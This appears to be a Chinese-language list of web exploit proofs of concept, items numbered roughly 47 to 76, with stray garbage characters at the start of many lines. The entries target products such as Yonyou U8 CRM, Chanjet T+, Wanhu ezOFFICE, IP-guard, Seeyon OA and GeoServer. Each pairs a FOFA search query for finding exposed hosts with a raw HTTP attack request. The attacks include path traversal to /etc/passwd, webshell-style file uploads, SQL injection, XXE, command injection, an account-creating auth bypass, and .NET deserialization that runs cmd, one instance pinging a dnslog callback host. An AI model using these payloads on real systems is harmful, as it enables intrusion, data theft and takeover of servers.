- Y$ }6 I4 M" _% e: t6 UGET /ma/emp/maEmp/download?fileName=../../../etc/passwdHTTP/1.1
Host: x.x.x.x
" s2 z) J7 D, c2 eCache-Control: max-age=0
" e  R; |1 u4 u8 c! B/ x: mUpgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
" D/ I9 r2 s! ^Accept-Encoding: gzip, deflate, br
) |% g) R. H( t6 W$ Y$ v0 \9 GAccept-Language: zh-CN,zh;q=0.9
If-Modified-Since: Wed, 11 Oct 2023 05:16:05 GMT
2 \( S& P2 ?& s& IConnection: close
4 W" K  ^. a) `. O* o0 B; d
/ D" x1 @% F0 `0 c0 e

( b6 M( Q3 T/ u0 m5 a; Q9 J8 D48. 用友U8 CRM swfupload 任意文件上传
FOFA：title="用友U8CRM"
POST /ajax/swfupload.php?DontCheckLogin=1&vname=file HTTP/1.1
/ @9 s) c1 ~1 K. a0 `* JHost: your-ip
+ S" m' M) f/ M  c" g) }1 `& C1 vUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0
2 p( t8 |* n+ F( BAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
4 ]* Y$ w7 ~* e7 C- f) g8 tAccept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
5 U5 _$ f; _6 j+ S2 v+ b0 p  h' ~( sAccept-Encoding: gzip, deflate
- e- O/ N8 B/ l! h' mContent-Type: multipart/form-data;boundary=----269520967239406871642430066855
------269520967239406871642430066855
Content-Disposition: form-data; name="file"; filename="s.php"
2 ~. D: A6 s# k5 b0 t1231
Content-Type: application/octet-stream
9 B$ i9 S( x6 g! U' u: J: {------269520967239406871642430066855
Content-Disposition: form-data; name="upload"
' L9 C$ R4 c% }/ E# Iupload
; }8 q) p6 l' h# \& w------269520967239406871642430066855--

& U, m( a2 X8 C) E, u& D
49. 用友U8 CRM系统uploadfile.php接口任意文件上传
FOFA：body="用友U8CRM"
) [+ q6 ~  e# {; a  w1 v9 Y
6 R# M# v- E  V. hPOST /ajax/uploadfile.php?DontCheckLogin=1&vname=file HTTP/1.1
' o2 M2 U9 Z8 t3 `% f% Z: C0 X& DHost: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0
$ c4 J0 y' U+ e+ `# ^& X# x/ OContent-Length: 329
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
% X$ Q$ [$ E( g  ?1 H8 @( a# k" lAccept-Encoding: gzip, deflate
$ ]3 o$ S  g& W. Q3 t& j# l7 [; BAccept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
7 N" {6 Z+ z) ~1 lConnection: close
Content-Type: multipart/form-data; boundary=---------------------------vvv3wdayqv3yppdxvn3w
. s/ ^# q) a; W9 N$ ?1 Q
" A( ^# `+ E$ l  t* M-----------------------------vvv3wdayqv3yppdxvn3w
9 f) y7 D+ R! PContent-Disposition: form-data; name="file"; filename="%s.php "
: d4 h0 [3 I& E, QContent-Type: application/octet-stream

6 ^! S/ e) X0 O) jwersqqmlumloqa
-----------------------------vvv3wdayqv3yppdxvn3w
) c' x8 J3 j1 l3 i; k! ?Content-Disposition: form-data; name="upload"

* Z# r; Y0 L- ?* a2 _8 W' |( Mupload
-----------------------------vvv3wdayqv3yppdxvn3w--
9 `2 Y) r9 Q. |' A

http://x.x.x.x/tmpfile/updB3CB.tmp.php

50. QDocs Smart School 6.4.1 filterRecords SQL注入
/ Q) `. g8 o" b# {* rFOFA：body="close closebtnmodal"
POST /course/filterRecords/ HTTP/1.1
( l. c  K2 s. ~  J8 S( m7 K( B& UHost: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.4389.114 Safari/537.36
Connection: close
9 l8 e% G( N1 O# k5 t9 ?Content-Length: 224
Accept: */*
Accept-Language: en
# G4 X  G% |1 L# s' s9 OContent-Type: application/x-www-form-urlencoded
3 b0 ~4 w( I7 g1 X/ M6 B8 |Accept-Encoding: gzip

searchdata[0][title]=&searchdata[0][searchfield]=1&searchdata[0][searchvalue]=1&searchdata[1][title]=1&searchdata[1][searchfield]=1=1 and extractvalue(1,concat(0x5e,(select md5(123456)),0x5e))%23&searchdata[1][searchvalue]=1

. i- ~0 c) Q8 V+ H' f
51. 云时空社会化商业 ERP 系统 validateLoginName SQL 注入
# y( f) N* l' C5 H! u1 S  c9 F" i. BFOFA：app="云时空社会化商业ERP系统"
" H" H. }% ]9 ~. oGET /sys/user/validateLoginName?loginName=admin'+AND+4563=DBMS_PIPE.RECEIVE_MESSAGE(CHR(65),5)-- HTTP/1.1
Host: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4240.198 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
& Z  m! h. Y9 Y2 M- o

52. 泛微E-Office json_common.php sql注入
1 T; M* \' u" f. c0 ?FOFA：app="泛微-EOffice"
POST /building/json_common.php HTTP/1.1
) n, }( _; c- i4 R* \  O" c, SHost: 192.168.86.128:8097
$ F5 e0 e0 E) zUser-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2227.0 Safari/537.36
' ^/ W: F' \" k. t1 U& jConnection: close
9 A# T2 h5 D; W  {& fContent-Length: 87
/ O+ `8 T: Z! y7 |* VAccept: */*
7 T! V8 R+ ~% L, w7 {; r  \$ G1 HAccept-Language: en
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip
0 J' k# `4 J% V5 N* z
' Y3 S3 i0 m! c! htfs=city` where cityId =-1 /*!50000union*/ /*!50000select*/1,2,md5(102103122) ,4#|2|333
7 R9 O4 M- m4 w2 c6 B2 {

/ U+ m8 y4 P4 S& Z. ?2 h7 z53. 迪普 DPTech VPN Service 任意文件上传
FOFA：app="DPtech-SSLVPN"
/..%2F..%2F..%2F..%2F..%2F..%2F..%2Fetc%2Fpasswd
6 l9 o; L% m6 C3 r0 n6 F8 w: X# B
3 F" O9 L+ k" D$ `/ q8 C
54. 畅捷通T+ getstorewarehousebystore 远程代码执行
FOFA：app="畅捷通-TPlus"
第一步，向目标发送数据包，执行命令，将指定字符串写入指定文件
5 B3 R9 p! g7 X- D! J4 d- B7 }  B. Q6 l7 L"/c echo 2WcBDoxC7JXhegsmOp6vJJ2dZBl > .2WcBDoxC7JXhegsmOp6vJJ2dZBl.txt"
" y; t  b' n# Z7 Z' f& [+ S! F$ u$ c

完整数据包
POST /tplus/ajaxpro/Ufida.T.CodeBehind._PriorityLevel,App_Code.ashx?method=GetStoreWarehouseByStore HTTP/1.1
2 e6 V2 `' c6 e4 x! r9 gHost: x.x.x.x
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/34.0.1847.137 Safari/4E423F
Content-Length: 593

{
* l: z4 T0 g/ ~& j1 N"storeID":{
"__type":"System.Windows.Data.ObjectDataProvider, PresentationFramework, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35",
) S( z* e1 H  ~4 M "MethodName":"Start",
  "ObjectInstance":{
   "__type":"System.Diagnostics.Process, System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089",
! T* |6 q+ [/ B" u: K    "StartInfo":{
$ P/ B; S2 ?0 ?6 J4 F- c: W5 O# P   "__type":"System.Diagnostics.ProcessStartInfo, System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089",
    "FileName":"cmd",
    "Arguments":"/c echo 2WcBDoxC7JXhegsmOp6vJJ2dZBl > .2WcBDoxC7JXhegsmOp6vJJ2dZBl.txt"
7 R4 g& x: ~& A/ V4 e) [    }
4 m. `5 n9 l# J* x  }
  }
}
+ |& T" S8 ]; I) l. h6 Z4 l
- {1 Z; q/ U4 O
第二步，访问如下url
/tplus/.2WcBDoxC7JXhegsmOp6vJJ2dZBl.txt


55. 畅捷通T+ getdecallusers信息泄露
. o. K: O( u/ QFOFA：app="畅捷通-TPlus"
第一步，通过
/tplus/ajaxpro/Ufida.T.SM.Login.UIP.LoginManager,Ufida.T.SM.Login.UIP.ashx?method=CheckPassword接口获取Cookie
第二步，利用获取到的Cookie请求
' f" ~* h! `( u6 u8 T+ Z8 o/tplus/sm/privilege/ajaxpro/Ufida.T.SM.UIP.Privilege.PreviligeControl,Ufida.T.SM.UIP.ashx?method=GetDecAllUsers

4 ^, G4 _- t( L- r" a; B0 n$ G56. 畅捷通T+ RRATableController,Ufida.T.DI.UIP.ashx 反序列化RCE
FOFA: app="畅捷通-TPlus"
POST /tplus/ajaxpro/Ufida.T.DI.UIP.RRA.RRATableController,Ufida.T.DI.UIP.ashx?method=GetStoreWarehouseByStore HTTP/1.1
Host: x.x.x.x
) F7 O& V$ F$ `User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.127 Safari/537.36
Content-Type: application/json
2 g3 C; Z  l4 a# r. v, B
" j! @% y, a8 V. B. R: v7 h6 T2 y  h{
$ f5 Z5 j" j( }* L  w) v$ }4 Q  "storeID":{
    "__type":"System.Windows.Data.ObjectDataProvider, PresentationFramework, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35",
   "MethodName":"Start",
    "ObjectInstance":{
0 x3 I/ m1 H% a1 J: Q* `* a' F- S       "__type":"System.Diagnostics.Process, System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089",
" Q3 h0 A+ {$ X8 \& f% r% ]        "StartInfo": {
$ Z. O8 w8 n( C+ @           "__type":"System.Diagnostics.ProcessStartInfo, System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089",
           "FileName":"cmd", "Arguments":"/c ping 6qevyvmi.dnslog.pw"
8 R+ P! h: i; q. [% n4 V) E       }
. S& S! b0 L. H2 X/ |3 `* T* c    }
8 c& U  s+ O% i6 L" d+ c8 E; }  }
/ T# h1 ~! E% R- x}
+ a1 e2 w9 I) s! i: T" D! ?

57. 畅捷通T+ keyEdit.aspx SQL注入
1 m7 R* u: E6 k( [. K$ ?  [FOFA：app="畅捷通-TPlus"
1 D8 g' O  I2 {% iGET /tplus/UFAQD/keyEdit.aspx?KeyID=1%27%20and%201=(select%20@@version)%20--&preload=1 HTTP/1.1
Host: host
7 a8 |4 J3 b4 z+ q8 ^$ M( B. BUser-Agent: Mozilla/5.0 (Linux; Android 11; motorola edge 20 fusion) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.61 Mobile Safari/537.36
3 n$ S8 V; P1 [& J- ]2 s! o& f2 ^Accept-Charset: utf-8
4 F, r, S  S: ^( A0 IAccept-Encoding: gzip, deflate
Connection: close
) C" ~- {) q7 J
4 V( P* W% B0 _
58. 畅捷通T+ KeyInfoList.aspx sql注入
FOFA：app="畅捷通-TPlus"
GET /tplus/UFAQD/KeyInfoList.aspx?preload=1&zt=')AND+1+IN+(SELECT+sys.fn_varbintohexstr(hashbytes('MD5','123456')))--+ HTTP/1.1
. P9 p' J3 L' d1 _, K: R7 E1 `: ]- \Host: your-ip
User-Agent: Mozilla/5.0 (Linux; Android 11; motorola edge 20 fusion) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.61 Mobile Safari/537.36
Accept-Charset: utf-8
) Y7 F, {+ z5 Y' f* B; W( v4 E+ F- JAccept-Encoding: gzip, deflate
# I/ g' `: _+ j( {! eConnection: close

* }& T; d! J8 f8 ~4 w+ }7 ?8 n# C
59. XETUX 软件 dynamiccontent.properties.xhtml 远程代码执行
$ u- Y* s% ^. X* [; ^# F  o& j3 vFOFA: title="@XETUX" && title="XPOS" && body="BackEnd"
POST /xc-one-pos/javax.faces.resource/dynamiccontent.properties.xhtml HTTP/1.1
$ I7 ]4 u7 a1 Q$ q- qHost: 192.168.86.128:9090
User-Agent: Mozilla/5.0 (Windows NT 5.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/35.0.2309.372 Safari/537.36
Connection: close
Content-Length: 1669
! I: V$ E! q6 q6 C" s$ w! cAccept: */*
Accept-Language: en
% e6 N/ T1 n. dContent-Type: application/x-www-form-urlencoded
& k; _, u+ y4 J' e# h5 R0 }2 |; ^2 aAccept-Encoding: gzip

; ~. H+ i; @4 _6 l% \& }5 W0 U$ S6 QPAYLOAD
) ~+ H. A% d+ R' N, A/ n

0 p( s. u& d$ H( v; A% U! N60. 百卓Smart管理平台 importexport.php SQL注入
! |( N  ]' a" E0 j: `1 y. T2 dFOFA：title="Smart管理平台"
GET /importexport.php?sql=c2VsZWN0IDEsdXNlcigpLDM=&type=exportexcelbysql HTTP/1.1
7 Y  {* t) @* p- W9 R6 XHost:
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36
1 C" p9 S: s0 B6 VAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
5 F  }9 F5 t/ A7 }Accept-Encoding: gzip, deflate
& Y( T* n* |; p5 Q" t3 [$ fAccept-Language: zh-CN,zh;q=0.9
# B$ F) p' w, [/ M1 y+ GConnection: close


61. 浙大恩特客户资源管理系统 fileupload 任意文件上传
# r' |4 ~( j- o! N& }7 H1 s1 B( oFOFA: title="欢迎使用浙大恩特客户资源管理系统"
" J4 `% {# ^% I. ]POST /entsoft_en/entereditor/jsp/fileupload.jsp?filename=8uxssX66eqrqtKObcVa0kid98xa.jsp HTTP/1.1
  \: B8 A& Q) k. }" s5 z! AHost: x.x.x.x
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
Connection: close
Content-Length: 27
+ U1 ]4 ?4 a8 X; v+ wAccept: */*
Accept-Encoding: gzip, deflate
! _% c% m) c; @# oAccept-Language: en
Content-Type: application/x-www-form-urlencoded

) H8 G2 M/ H+ u8uxssX66eqrqtKObcVa0kid98xa
4 H+ i; i' z. Z+ o
, B( H# s  ], @
4 O& J7 C& E! B( _$ r% W' C62. IP-guard WebServer 远程命令执行
4 M: \. h. A. T2 ^/ CFOFA："IP-guard" && icon_hash="2030860561"
6 ^2 ?' F' y! HGET /ipg/static/appr/lib/flexpaper/php/view.php?doc=11.jpg&format=swf&isSplit=true&page=||echo+"09kdujzKJDLinkQTLfGzMMKDJ23HJ"+>09kdujzKJDLinkQTLfGzMMKDJ23HJ.txt HTTP/1.1
3 T6 ?2 L1 w1 |1 k1 LHost: x.x.x.x
! g7 P' A0 u6 y9 |; YUser-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/55.0.2919.83 Safari/537.36
Connection: close
: Q, b8 ~* {8 m' M/ ?: z4 ^7 kAccept: */*
Accept-Language: en
Accept-Encoding: gzip
5 e5 F# o, G8 i9 B0 J; [
% s' [) X- d" w# U5 ~! |1 [6 t
8 c" e4 r7 C5 d5 J, j访问
- Q) A. C" E$ }! S2 [  i
GET /ipg/static/appr/lib/flexpaper/php/09kdujzKJDLinkQTLfGzMMKDJ23HJ.txt HTTP/1.1
Host: x.x.x.x
+ @% j: Q% }# i0 Z# m" Y2 P" a7 ^
8 @  Y% ^. U2 @9 J1 [
' J! M- l6 Z* Q& ~+ B5 [4 ?# B$ q# J+ a63. IP-guard WebServer任意文件读取
IP-guard < 4.82.0609.0
FOFA：icon_hash="2030860561"
! ]+ S% s0 Q* Y' y' lPOST /ipg/appr/MApplyList/downloadFile_client/getdatarecord HTTP/1.1
1 I* ?4 z" V9 x7 q( oHost: your-ip
- m& ~9 \8 i9 `0 TUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.0.0 Safari/537.36
& A9 v  A7 {. j& p8 [7 z# d" QAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
) V3 F5 }9 H+ Q2 s$ zConnection: close
8 a6 I2 ?2 q$ a& o$ h5 J; jContent-Type: application/x-www-form-urlencoded
0 j1 w. \$ H0 x$ x% b1 q6 _# l
! ?$ _8 i% A( p5 Upath=..%2Fconfig.ini&filename=1&action=download&hidGuid=1v%0D%0A
0 I( O" V, N2 A' P% G8 G3 `
64. 捷诚管理信息系统CWSFinanceCommon SQL注入
; p3 S% y- r# q9 ~FOFA：body="/Scripts/EnjoyMsg.js"
POST /EnjoyRMIS_WS/WS/APS/CWSFinanceCommon.asmx HTTP/1.1
1 M: m7 b" V% X! z) H2 I4 I5 u0 FHost: 192.168.86.128:9001
- o/ ~( o& K+ XUser-Agent: Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2228.0 Safari/537.36
Connection: close
5 U, R7 d/ i: C! P) _  l! LContent-Length: 369
  ^8 V% S2 W) }' ?Accept: */*
/ d6 a. K; a/ i6 v% k& _. ]Accept-Language: en
Content-Type: text/xml; charset=utf-8
$ D1 c2 Z  Z# oAccept-Encoding: gzip

<?xml version="1.0" encoding="utf-8"?>
0 R* G* v/ {' n+ U: V5 R) r1 _& p<soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/">
<soap:Body>
    <GetOSpById xmlns="http://tempuri.org/">
" _- g. ^! ~0 e. B0 K      <sId>1';waitfor delay '0:0:5'--+</sId>
* k3 ?9 u* ]  A) V2 H    </GetOSpById>
; {4 ~8 j9 U1 N* V7 H5 i9 I0 _  </soap:Body>
</soap:Envelope>

8 n& [5 X$ \5 v& m3 j
8 V+ f, L3 R( j2 N/ `65. 优卡特脸爱云一脸通智慧管理平台1.0.55.0.0.1权限绕过
- `( {+ R* s0 T8 ^) b4 YFOFA：title="欢迎使用脸爱云 一脸通智慧管理平台"
1 C0 B' w3 }4 w响应200即成功创建账号test123456/123456
  S& B  [7 A1 W7 \* L( W* i. MPOST /SystemMng.ashx HTTP/1.1
3 _8 `5 L* Q- P- wHost:
7 b) g7 U' ^2 o1 T) d1 ~. p+ n5 kUser-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1)
6 K8 p' W; b. H5 b& f: M, rAccept-Encoding: gzip, deflate
, U! @! K2 P: lAccept: */*
Connection: close
Accept-Language: en
1 [- S! P) x" ]* n/ y: VContent-Length: 174
7 {6 E# p( k+ q7 |8 Y
9 u8 `7 s( U8 l3 ]operatorName=test123456&operatorPwd=123456&operpassword=123456&operatorRole=00&visible_jh=%E8%AF%B7%E9%80%89%E6%8B%A9&visible_dorm=%E8%AF%B7%E9%80%89%E6%8B%A9&funcName=addOperators
0 ]& i6 m& J; W/ t4 y

66. 万户ezOFFICE协同管理平台SendFileCheckTemplateEdit-SQL注入
$ A% _2 |2 H+ Q( A* R$ j, ~FOFA：app="万户ezOFFICE协同管理平台"

GET /defaultroot/public/iWebOfficeSign/Template/SendFileCheckTemplateEdit.jsp?RecordID=1'%20UNION%20ALL%20SELECT%20sys.fn_sqlvarbasetostr(HashBytes(%27MD5%27,%27102103122%27))%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL-- HTTP/1.1
' D5 c$ f. g2 \6 K7 H+ H% `Host: x.x.x.x
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2762.73 Safari/537.36
Connection: close
Accept: */*
1 V/ d8 Q$ R4 \9 @. LAccept-Language: en
  L# M, y$ p6 o" S$ J4 yAccept-Encoding: gzip
& Q/ \) h9 q  s

0 q( g9 q7 h' z第42,43行包含6cfe798ba8e5b85feb50164c59f4bec9字符串证明漏洞存在

3 I3 N! ~( `8 G# Q- m$ v, o67. 万户ezOFFICE wpsservlet任意文件上传
FOFA：app="万户网络-ezOFFICE"
& V# h! S9 @6 s* onewdocId和filename参数表示写入文件名称，dir参数表示写入文件的路径，fileType参数表示文件类型
5 w) v4 ^' E! D% Z8 w* x) S& rPOST /defaultroot/wpsservlet?option=saveNewFile&newdocId=apoxkq&dir=../platform/portal/layout/&fileType=.jsp HTTP/1.1
Host: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0
Content-Length: 173
+ n) d: Y( ]1 A* y; v% m$ l: TAccept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Encoding: gzip, deflate
+ m1 x, e" t9 c' u8 H# f; T5 ~Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
* h( u; E. t9 {1 l! {5 KConnection: close
Content-Type: multipart/form-data; boundary=ufuadpxathqvxfqnuyuqaozvseiueerp
DNT: 1
Upgrade-Insecure-Requests: 1
1 V% E) u/ `" g" c
--ufuadpxathqvxfqnuyuqaozvseiueerp
: A. D( Q; r# R# m% b% @% NContent-Disposition: form-data; name="NewFile"; filename="apoxkq.jsp"
2 y) |( d2 R5 ~2 C  V2 A4 U
; g5 v4 Z# ?( ?! B' L. m<% out.print("sasdfghjkj");%>
7 Q2 w8 }9 N" D: S, `8 G4 C--ufuadpxathqvxfqnuyuqaozvseiueerp--

$ w7 N  `" E8 c' z- R2 G
$ O! J3 A# n# e7 V# d3 ~文件回显路径为/defaultroot/platform/portal/layout/apoxkq.jsp
2 J. |- f, C* `, @3 U
$ H1 [: C, P  D0 r68. 万户ezOFFICE wf_printnum.jsp SQL注入
FOFA：app="万户ezOFFICE协同管理平台"
0 K) S! x% t2 VGET /defaultroot/platform/bpm/work_flow/operate/wf_printnum.jsp;.js?recordId=1;WAITFOR%20DELAY%20%270:0:5%27-- HTTP/1.1
Host: {{host}}
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/99.0.4844.84 Safari/537.36
Accept: application/signed-exchange;v=b3;q=0.7,*/*;q=0.8
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close

- J+ e  s) A! P8 e7 _* ?/ J
; L6 |0 S# R& [2 y% Q$ g69. 万户 ezOFFICE contract_gd.jsp SQL注入
4 O( a6 a/ ~5 ?( n8 ^% m, OFOFA：app="万户ezOFFICE协同管理平台"
3 d5 |5 p2 E* [( h" V( b% iGET /defaultroot/modules/subsidiary/contract/contract_gd.jsp;.js?gd=1&gd_startUserCode=1%27%3Bwaitfor%20delay%20%270%3A0%3A5%27-- HTTP/1.1
- X* r; x1 n0 i/ xHost: your-ip
; [& X& U" q- n; MUser-Agent:Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.0.0 Safari/537.36
4 Z: \9 ]  B% p$ Z/ h3 QAccept-Encoding: gzip, deflate
Accept: */*
9 r5 y! X  M  }; d! T1 G4 n: BConnection: keep-alive

8 N7 \& K; r' n4 u: M
70. 万户ezEIP success 命令执行
" P  q) S7 q0 C5 _3 w9 h4 wFOFA：app="万户网络-ezEIP"
POST /member/success.aspx HTTP/1.1
8 L' O6 U. {' e6 r% H5 V# mHost: {{Hostname}}
# ?; O( P3 y9 q7 j1 B& N3 V$ kUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.116 Safari/537.36
6 r: Q5 R% W7 y) w7 [4 YSID: dHlwZSBDOlxXaW5kb3dzXHdpbi5pbmk=
2 x+ m0 s1 U: vContent-Type: application/x-www-form-urlencoded
TYPE: C
9 B+ |  D% {6 Q( b( o5 P+ rContent-Length: 16702

9 q; W5 E7 l) Q3 e+ e__VIEWSTATE=PAYLOAD


71. 邦永PM2项目管理系统 Global_UserLogin.aspx SQL注入
FOFA：body="PM2项目管理系统BS版增强工具.zip"
GET /Global/Global_UserLogin.aspx?accId=1%27%3BWAITFOR+DELAY+%270%3A0%3A5%27--&loginCode&password&type HTTP/1.1
Host: x.x.x.xx.x.x.x
' z/ ]- A, {. w0 [5 DUser-Agent: Mozilla/5.0 (Windows NT 6.3; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/37.0.2049.0 Safari/537.36
7 b) O: Z8 _7 |; J9 ]1 X9 f+ W5 eConnection: close
& {0 M& [- Q5 }" ZAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
, k0 U0 p1 W) Y0 b7 ^. _: }Upgrade-Insecure-Requests: 1
! R& j) Z  e+ p/ u# M" E2 s
* ^. d6 z# ]6 \! g9 K
72. 致远OA getAjaxDataServlet XXE
FOFA：app="致远互联-OA"
4 |: D+ I+ g' {+ V) j9 SPOST /seeyon/m-signature/RunSignature/run/getAjaxDataServlet HTTP/1.1
* ]1 }- f8 S; T' P* U: K; D1 cHost: 192.168.40.131:8099
User-Agent: Mozilla/5.0 (X11; OpenBSD i386) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/36.0.1985.125 Safari/537.36
Connection: close
Content-Length: 583
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip

( E. z) q* J% L" sS=ajaxColManager&M=colDelLock&imgvalue=lr7V9+0XCEhZ5KUijesavRASMmpz%2FJcFgNqW4G2x63IPfOy%3DYudDQ1bnHT8BLtwokmb%2Fk&signwidth=4.0&signheight=4.0&xmlValue=%3C%3Fxml+version%3D%221.0%22%3F%3E%0D%0A%3C%21DOCTYPE+foo+%5B%0D%0A++%3C%21ELEMENT+foo+ANY+%3E%0D%0A++%3C%21ENTITY+xxe+SYSTEM+%22file%3A%2F%2F%2Fc%3A%2Fwindows%2Fwin.ini%22+%3E%0D%0A%55D%3E%0D%0A%3CSignature%3E%3CField%3E%3Ca+Index%3D%22ProtectItem%22%3Etrue%3C%2Fa%3E%3Cb+Index%3D%22Caption%22%3Ecaption%3C%2Fb%3E%3Cc+Index%3D%22ID%22%3Eid%3C%2Fc%3E%3Cdd+Index%3D%22VALUE%22%3E%26xxe%3B%3C%2Fd%3E%3C%2FField%3E%3C%2FSignature%3E
2 w$ H0 F2 h- s8 [- Y, I

) I7 v9 b9 ^' _: @/ M1 z& r8 L73. GeoServer wms远程代码执行
FOFA：icon_hash=”97540678”
POST /geoserver/wms HTTP/1.1
Host:
/ ]$ L' H+ H5 }# w( P- H6 dUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2762.73 Safari/537.36
$ E+ g% O  u) `- Y' ?; `Content-Length: 1981
Accept-Encoding: gzip, deflate
Connection: close
Content-Type: application/xml
% f1 Z$ S) X! eSL-CE-SUID: 3
/ R: i, ?. |5 ]+ }" ~7 {
8 Y; n/ T) N) DPAYLOAD
) K0 e( K" a& y3 O

74. 致远M3-server 6_1sp1 反序列化RCE
7 g6 o1 }( j" k* V% zFOFA：title="M3-Server"
PAYLOAD

75. Telesquare TLR-2005Ksh 路由器 admin.cgi RCE
FOFA：app="TELESQUARE-TLR-2005KSH"
0 u. Z' m( e- D" z8 [GET /cgi-bin/admin.cgi?Command=setSyncTimeHost&time=`ifconfig>test28256.txt` HTTP/1.1
Host: x.x.x.x
' C9 d' ^! w6 F/ EUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
Connection: close
! j( m# h2 ]" s! C6 x, lAccept: */*
Accept-Language: en
Accept-Encoding: gzip

* `( p- i6 B  @5 r3 l; B
GET /cgi-bin/test28256.txt HTTP/1.1
Host: x.x.x.x

# V) \* ?8 l, S8 R5 z+ i% Y5 {) G
( ~* O0 B. s& A& T$ o* o* K  r7 B76. 新开普掌上校园服务管理平台service.action远程命令执行
FOFA：title="掌上校园服务管理平台"
' a$ s$ P+ J; }' D2 ^1 SPOST /service_transport/service.action HTTP/1.1
Host: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/114.0
+ b1 l+ B8 \+ _: |( S8 {+ VConnection: close
  ^& U  z! H- O9 z- g0 e+ vContent-Length: 211
, ]2 [1 P4 p* V7 p4 H' Y8 sAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Encoding: gzip, deflate
